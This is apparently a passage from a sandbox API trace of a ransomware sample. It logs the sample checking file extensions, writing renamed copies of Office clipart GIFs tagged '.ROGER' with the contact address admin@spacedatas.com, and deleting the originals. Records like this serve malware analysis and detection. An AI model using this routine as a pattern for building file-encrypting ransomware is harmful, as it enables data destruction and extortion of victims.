[0056.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.225] lstrlenW (lpString=".docx") returned 5 [0056.225] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.226] lstrlenW (lpString=".pdf") returned 4 [0056.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.226] lstrlenW (lpString=".xls") returned 4 [0056.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.226] lstrlenW (lpString=".xlsx") returned 5 [0056.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.226] lstrlenW (lpString=".ppt") returned 4 [0056.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.226] lstrlenW (lpString=".zip") returned 4 [0056.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.226] lstrlenW (lpString=".rar") returned 4 [0056.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.226] lstrlenW (lpString=".bz2") returned 4 [0056.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.226] lstrlenW (lpString=".7z") returned 3 [0056.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.226] lstrlenW (lpString=".dbf") returned 4 [0056.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.226] lstrlenW (lpString=".1cd") returned 4 [0056.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0056.226] lstrlenW (lpString=".jpg") returned 4 [0056.228] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.228] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.228] lstrlenW (lpString="AG00157_.GIF") returned 12 [0056.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.228] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4955) returned 1 [0056.228] CloseHandle (hObject=0x3f8) returned 1 [0056.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0056.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.228] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.229] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.229] GetLastError () returned 0x0 [0056.229] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x135b, lpOverlapped=0x0) returned 1 [0056.235] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1360, lpOverlapped=0x0) returned 1 [0056.236] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.236] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.236] SetEndOfFile (hFile=0x368) returned 1 [0056.236] CloseHandle (hObject=0x368) returned 1 [0056.236] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.236] SetEndOfFile (hFile=0x3f8) returned 1 [0056.237] CloseHandle (hObject=0x3f8) returned 1 [0056.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0056.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.237] lstrlenW (lpString=".doc") returned 4 [0056.237] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.237] lstrlenW (lpString=".docx") returned 5 [0056.237] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.238] lstrlenW (lpString=".pdf") returned 4 [0056.238] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString=".xls") returned 4 [0056.238] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString=".xlsx") returned 5 [0056.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.238] lstrlenW (lpString=".ppt") returned 4 [0056.238] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString=".zip") returned 4 [0056.238] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString=".rar") returned 4 [0056.238] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString=".bz2") returned 4 [0056.238] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.238] lstrlenW (lpString=".7z") returned 3 [0056.238] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString=".dbf") returned 4 [0056.238] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString=".1cd") returned 4 [0056.238] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString=".jpg") returned 4 [0056.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.238] lstrlenW (lpString=".doc") returned 4 [0056.238] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.238] lstrlenW (lpString=".docx") returned 5 [0056.238] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.238] lstrlenW (lpString=".pdf") returned 4 [0056.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.239] lstrlenW (lpString=".xls") returned 4 [0056.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.239] lstrlenW (lpString=".xlsx") returned 5 [0056.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.239] lstrlenW (lpString=".ppt") returned 4 [0056.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.239] lstrlenW (lpString=".zip") returned 4 [0056.239] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.239] lstrlenW (lpString=".rar") returned 4 [0056.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.239] lstrlenW (lpString=".bz2") returned 4 [0056.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.239] lstrlenW (lpString=".7z") returned 3 [0056.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.239] lstrlenW (lpString=".dbf") returned 4 [0056.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.239] lstrlenW (lpString=".1cd") returned 4 [0056.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0056.239] lstrlenW (lpString=".jpg") returned 4 [0056.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.239] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.239] lstrlenW (lpString="AG00158_.GIF") returned 12 [0056.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.240] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=5030) returned 1 [0056.240] CloseHandle (hObject=0x3f8) returned 1 [0056.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0056.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.240] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.240] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.240] GetLastError () returned 0x0 [0056.240] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x13a6, lpOverlapped=0x0) returned 1 [0056.258] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0056.259] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.259] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.259] SetEndOfFile (hFile=0x368) returned 1 [0056.259] CloseHandle (hObject=0x368) returned 1 [0056.259] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.259] SetEndOfFile (hFile=0x3f8) returned 1 [0056.260] CloseHandle (hObject=0x3f8) returned 1 [0056.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0056.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.261] lstrlenW (lpString=".doc") returned 4 [0056.261] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.261] lstrlenW (lpString=".docx") returned 5 [0056.261] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.261] lstrlenW (lpString=".pdf") returned 4 [0056.261] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.261] lstrlenW (lpString=".xls") returned 4 [0056.261] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.261] lstrlenW (lpString=".xlsx") returned 5 [0056.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.261] lstrlenW (lpString=".ppt") returned 4 [0056.261] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.261] lstrlenW (lpString=".zip") returned 4 [0056.261] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.261] lstrlenW (lpString=".rar") returned 4 [0056.261] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.261] lstrlenW (lpString=".bz2") returned 4 [0056.261] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.261] lstrlenW (lpString=".7z") returned 3 [0056.261] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.261] lstrlenW (lpString=".dbf") returned 4 [0056.262] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".1cd") returned 4 [0056.262] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".jpg") returned 4 [0056.262] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".doc") returned 4 [0056.262] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.262] lstrlenW (lpString=".docx") returned 5 [0056.262] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.262] lstrlenW (lpString=".pdf") returned 4 [0056.262] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString=".xls") returned 4 [0056.262] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString=".xlsx") returned 5 [0056.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.262] lstrlenW (lpString=".ppt") returned 4 [0056.262] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".zip") returned 4 [0056.262] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString=".rar") returned 4 [0056.262] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.262] lstrlenW (lpString=".bz2") returned 4 [0056.262] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.262] lstrlenW (lpString=".7z") returned 3 [0056.262] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".dbf") returned 4 [0056.262] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.262] lstrlenW (lpString=".1cd") returned 4 [0056.263] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0056.263] lstrlenW (lpString=".jpg") returned 4 [0056.263] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.263] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.263] lstrlenW (lpString="AG00160_.GIF") returned 12 [0056.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.263] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1146) returned 1 [0056.263] CloseHandle (hObject=0x3f8) returned 1 [0056.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0056.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.263] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.263] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.264] GetLastError () returned 0x0 [0056.264] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x47a, lpOverlapped=0x0) returned 1 [0056.267] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x480, lpOverlapped=0x0) returned 1 [0056.268] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.268] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.268] SetEndOfFile (hFile=0x368) returned 1 [0056.268] CloseHandle (hObject=0x368) returned 1 [0056.268] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.268] SetEndOfFile (hFile=0x3f8) returned 1 [0056.269] CloseHandle (hObject=0x3f8) returned 1 [0056.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.269] lstrlenW (lpString=".doc") returned 4 [0056.269] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.269] lstrlenW (lpString=".docx") returned 5 [0056.269] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.269] lstrlenW (lpString=".pdf") returned 4 [0056.269] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.269] lstrlenW (lpString=".xls") returned 4 [0056.269] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.269] lstrlenW (lpString=".xlsx") returned 5 [0056.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.269] lstrlenW (lpString=".ppt") returned 4 [0056.270] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString=".zip") returned 4 [0056.270] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString=".rar") returned 4 [0056.270] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString=".bz2") returned 4 [0056.270] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.270] lstrlenW (lpString=".7z") returned 3 [0056.270] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString=".dbf") returned 4 [0056.270] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString=".1cd") returned 4 [0056.270] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString=".jpg") returned 4 [0056.270] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.270] lstrlenW (lpString=".doc") returned 4 [0056.270] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.270] lstrlenW (lpString=".docx") returned 5 [0056.270] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.270] lstrlenW (lpString=".pdf") returned 4 [0056.270] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString=".xls") returned 4 [0056.270] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.270] lstrlenW (lpString=".xlsx") returned 5 [0056.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.270] lstrlenW (lpString=".ppt") returned 4 [0056.270] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") 